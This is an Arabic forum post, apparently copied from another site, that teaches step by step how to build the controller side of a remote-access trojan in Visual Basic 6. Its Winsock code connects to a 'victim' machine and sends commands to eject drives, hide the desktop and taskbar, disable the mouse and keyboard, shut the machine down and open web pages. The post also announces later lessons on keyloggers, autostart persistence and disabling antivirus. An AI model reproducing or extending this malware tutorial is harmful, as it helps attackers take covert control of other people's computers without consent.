عرض مشاركة واحدة
قديم 10-27-2011, 06:50 PM   رقم المشاركة : 1 (permalink)
معلومات العضو
هكر المالكي
 
الصورة الرمزية هكر المالكي
 

 

 
إحصائية العضو






هكر المالكي غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
هكر المالكي is on a distinguished road

.......... شرح صناعة برنامج اختراق عربي


بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاته






الفكرة :-

تصميم برنامج إختراق أجهزة من عميل و خادم بالفيجول بيزك

الهدف :-

إيجاد برنامج عربى قوى ينافس البرامج الأجنبية وافكاري دوما قابلة للتطوير يا شعبي

سلسلة الدروس :-

1- التصميم الأساسى للبرنامج مع قائمة المرح ورسائل النظام
وهذا هو الدرس الذى سنتناوله اليوم

2- إضافة محادثة العميل والضحية
3- إضافة محادثة الماتركس
4- تطوير الخادم من تبليغ بريدى وتشغيل اتوماتيكى فى الرجسترى وقتل الحماية .... الخ
5- إضافة الكى لوجر جاسوس لوحة المفاتيح
6- تعليم صناعة محرر الخادم الإيدت سرفر
7- إضافة إدارة النوافذ
8- إضافة إدارة الملفات
9- إضافة تصوير الشاشة والكاميرا
10- إضافة الحماية بالباسورد

-: الشرح :-



افتح الفيجول بيزك كالمعتاد بإختيار Standard EXE


راح يفتح لك فورم فارغ كما بالصورة التالية




الآن علينا تغيير خصائص الفورم حتى تناسبنا
والان من مربع الخصائص Properties نقوم بالآتى :
1- تغيير الإسم من الخاصية Name إلى Main
2- تغيير الحدود من BorderStyle إلى Fixed Single
3- تغيير التسمية من الخاصية Caption إلى أى اسم تريد مثلا Client
وهذه الصورة للتوضيح


الآن نقوم بإضافة الكائنات من ToolBox كما بالصورة التالية


ولمن لا يدرى كيفية إضافة الكائنات هذه الصورة للتوضيح





الآن سنقوم بتغير تسميات العناوين باستخدام الخاصية Caption كما بالصورة التالية


نفس العملية أيضا مع الأزرار من الخاصية Caption

أما مربعات النصوص فنغيرها من الخاصية Text


الآن بعد ان غيرنا التسميات علينا تغيير الأسماء من الخاصية Name كالتالى

زر الإتصال = cmdConnect
زر قطع الإتصال = cmdDissconnect
مربع إدخال الأى بى = txtIP
مربع إدخال المنفذ = txtPort
عنوان الحالة = lblStat
إضافة فورم المرح والرسائل
نقوم بإضافة فورم جديد كما بالصورة التالية





راح يفتح لنا هذه النافذة





نقوم بإختيار الخيار الأول Form

راح يفتح لنا فورم جديد كالسابق





نقوم بتغيير الإسم إلى Fun والحدود إلى Fixed Single والتمسة إلى اى شئ تريد





نقوم بإضافة خمسة عشر زر كالتالى





نقوم يتغيير التسميات من Caption كالتالى






الان انتهينا من فورم المرح وسنضيف فورم رسائل النظام

نقوم بإدارج فورم جديد بنفس الطريقة السابقة

نقوم بتغيير الإسم إلى Massege والحدود إلى Fixed Single والتمسة إلى اى شئ تريد

نقوم بإدراج الكائنات كما بالتالى





نقوم بتغير التسميات من Caption ما عدا مربع النص نغيره من Text





ثم نقوم بتغيير إسم مربع النص من الخاصية Name إلى txtMsg



والآن انتهينا من إضافة فورم رسائل النظام وبقى خطوة واحدة فى الكائنات وهى إضافة الوينسوك
-: إضافة الوينسوك :-

وهى الأدارة التى تربط بين اى برنامجين وتقوم بإرسال واستقبال البيانات بل وأيضا الملفات عن طريق تحوليها إلى صيغ ثنائية , ويمكن الإستغناء عنها بتعريفها باستخدام دوالMicrosoft API

والان حتى تتمكن من اضافتها اتبع الآتى

عد إلى الفورم الرئيسى Main

اذهب إلى ToolBox واضغط زر الفأرة الأيمن واختر Components




راح يفتح لك قائمة بالأدوات الخارجية المسجلة






ابحث فى هذه القائمة ستجد الوينسوك بإسم Microsoft Winsock Control 6.0
علم امامها بعلامة صح ثم اضغط OK

اما إن لم تجدا باللستة فستضطر إلى اضافتها بنفسك بالضغط على Browse...

سيفتح لك مربع تحديد ادوات OCX قم بإختيار الوينسوك وستجدها بإسم MSWINSCK.OCX


إن كنت من مستخدمىXP أو 2000 أو 2003 فستجد الوينسوك فى مجلد System32 بالويندوز
أما إن كنت من مستخدمى X9 أو ME فستجدها فى مجلد System بالويندوز

وبعد تحديدها ستجدها أضيفت لقائمتك كما بالصورة التالية




اضغط عل OK لتضاف فى آخر ToolBox


قم بالضغط عليها مرتين لتندرج فى مشروعك كما بالصورة التالية



وبالطبع لا تنس تغيير إسم الوينسوك من الخاصية Name إلى wnskClinet




أكواد الفورم الرئيسى Main

( لمن لايعرف كيفية إضافة الاكواد للكائنات يكفيك الضغط عليها مرتين ولصق الكود فى المكان الذى سيفتح عليه )

1- كود زر الإتصال


كود:
If txtIP.Text = "" Then' التأكد من رقم الأى بى MsgBox "من فضلك ادخل رقم IP مناسب" Else cmdConnect.Enabled = False' لإيقاف عمل زر الإتصال cmdDissconnect.Enabled = True' لتفعيل زر إيقاف الإتصال lblStat.Caption = "الاتصال جاري.." ' تحديث الحالة wnskClinet.Close 'إغلاق إى إتصال مفتوح wnskClinet.Connect txtIP.Text, txtPort.Text 'الإتصال End If


2- كود زر قطع الإتصال


كود:

lblStat.Caption = "غير متصل" ' نحديث الحالة cmdDissconnect.Enabled = False' لإيقاف زر قطع الإتصال cmdConnect.Enabled = True' لتفعيل زر الإتصال wnskClinet.Close 'اغلاق الاتصال


3- كود زر المرح



كود:

Fun.Show ' لإظهار فورم المرح






4- كود زر رسائل النظام


كود:

Massege.Show 'لإظهار فورم الرسائل


الحين نبدأ بأكواد الأداة وينسوك
نقوم بالضغط مرتين على الأدارة وينسوك راح يفتح لنا على الإجراء Error نلصق به هذا الكود



كود:
wnskClinet.Close lblStat.Caption = "خطأ فى الإتصال" cmdConnect.Enabled = True' لإيقاف عمل زر الإتصال cmdDissconnect.Enabled = False'
لتفعيل زر إيقاف الإتصال
الحين نغير من الإجراء Error إلى الإجراء Close والصورة التالية توضح كيفية تغيير الإجرائات




ونلصق هذا الكود فى الإجراء Close



كود:

wnskClinet.Close lblStat.Caption = "خطأ بالإتصال" cmdConnect.Enabled = True' لإيقاف عمل زر الإتصال cmdDissconnect.Enabled = False' لتفعيل زر إيقاف الإتصال





ثم ننتقل إلى الإجراء Connect ونلصق هذا الكود



كود:

lblStat.Caption = "تم الإتصال" cmdConnect.Enabled = False' لإيقاف عمل زر الإتصال cmdDissconnect.Enabled = True' لتفعيل زر إيقاف الإتصال


اخيرا فى حدث تحميل الفورم Form Load الصق هذا الكود



كود:

cmdDissconnect.Enabled = False' لإيقاف زر قطع الإتصال


الآن انتهينا من أكواد الفورم الرئيسيى Main


==================


أكواد فورم المرح Fun

1- كود زر فتح سواقة الأقراص


كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "opn" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
2- كود زر إغلاق سواقة الأقراص


كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "cls" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
3- كود زر إخفاء شريط المهام


كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "hid" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
4- كود زر إظهار شريط المهام



كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال Main.wnskClinet.SendData "shw" 'ارسال الي السيرفر ElseMsgBox "انت غير متصل", vbCriticalEnd If
5- كود زر إخفاء سطح المكتب


كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "dth" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
6- كود زر إظهار سطح المكتب


كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "dts" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
7- كود زر إخفاء زر إبدأ


كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "sbh" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
8- كود زر إظهار زر إبدأ



كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "sbs" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
9- كود زر فتح صفحة بالمتصفح


If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال
site = InputBox("أدخل الصفحة المراد فتحها عند الضحية", "أدخل الصفحة")
Main.wnskClinet.SendData "opg" & site 'ارسال الي السيرفر
Else
MsgBox "انت غير متصل", vbCritical
End If
10- كود زر ضبط صفحة البدء


كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال************ = InputBox("أدخل الصفحة المراد ضبتها كصفحة بدأ", "أدخل الصفحة")Main.wnskClinet.SendData "oph" & ************ 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
11- كود زر تعطيل الفأرة والمفاتيح


كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "smk" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
12- كود زر تشغيل الفأرة والمفاتيح


كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "pmk" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
13- كود زر إغلاق الجهاز


كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "sht" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
14- كود زر إعادة التشغيل


كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "res" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
15- كود زر تشغيل حافظة الشاشة


كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "scr" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
الآن انتهينا من أ كواد فورم المرح Fun


============


أكواد فورم الرسائل Massege


1- أكواد زر إرسال الرسالة


كود:
If Main.cmdDissconnect.Enabled = False Then 'التأكد من الإتصال MsgBox "انت غير متصل", vbCriticalElse If Option1.Value = True Then Main.wnskClinet.SendData "mer" & txtMsg 'ارسال الي السيرفر End If If Option2.Value = True Then Main.wnskClinet.SendData "mqu" & txtMsg 'ارسال الي السيرفر End If If Option3.Value = True Then Main.wnskClinet.SendData "min" & txtMsg 'ارسال الي السيرفر End If If Option4.Value = True Then Main.wnskClinet.SendData "mex" & txtMsg 'ارسال الي السيرفر End If If Option5.Value = True Then Main.wnskClinet.SendData "mno" & txtMsg 'ارسال الي السيرفر End IfEnd If
2- كود زر اختبار الرسالة


كود:
If Option1.Value = True Then MsgBox txtMsg, vbCritical End If If Option2.Value = True Then MsgBox txtMsg, vbQuestion End If If Option3.Value = True Then MsgBox txtMsg, vbInformation End If If Option4.Value = True Then MsgBox txtMsg, vbExclamation End If If Option5.Value = True Then MsgBox txtMsg End If


..~ منقول للفائده ~..



avp wkhum fvkhl[ hojvhr uvfd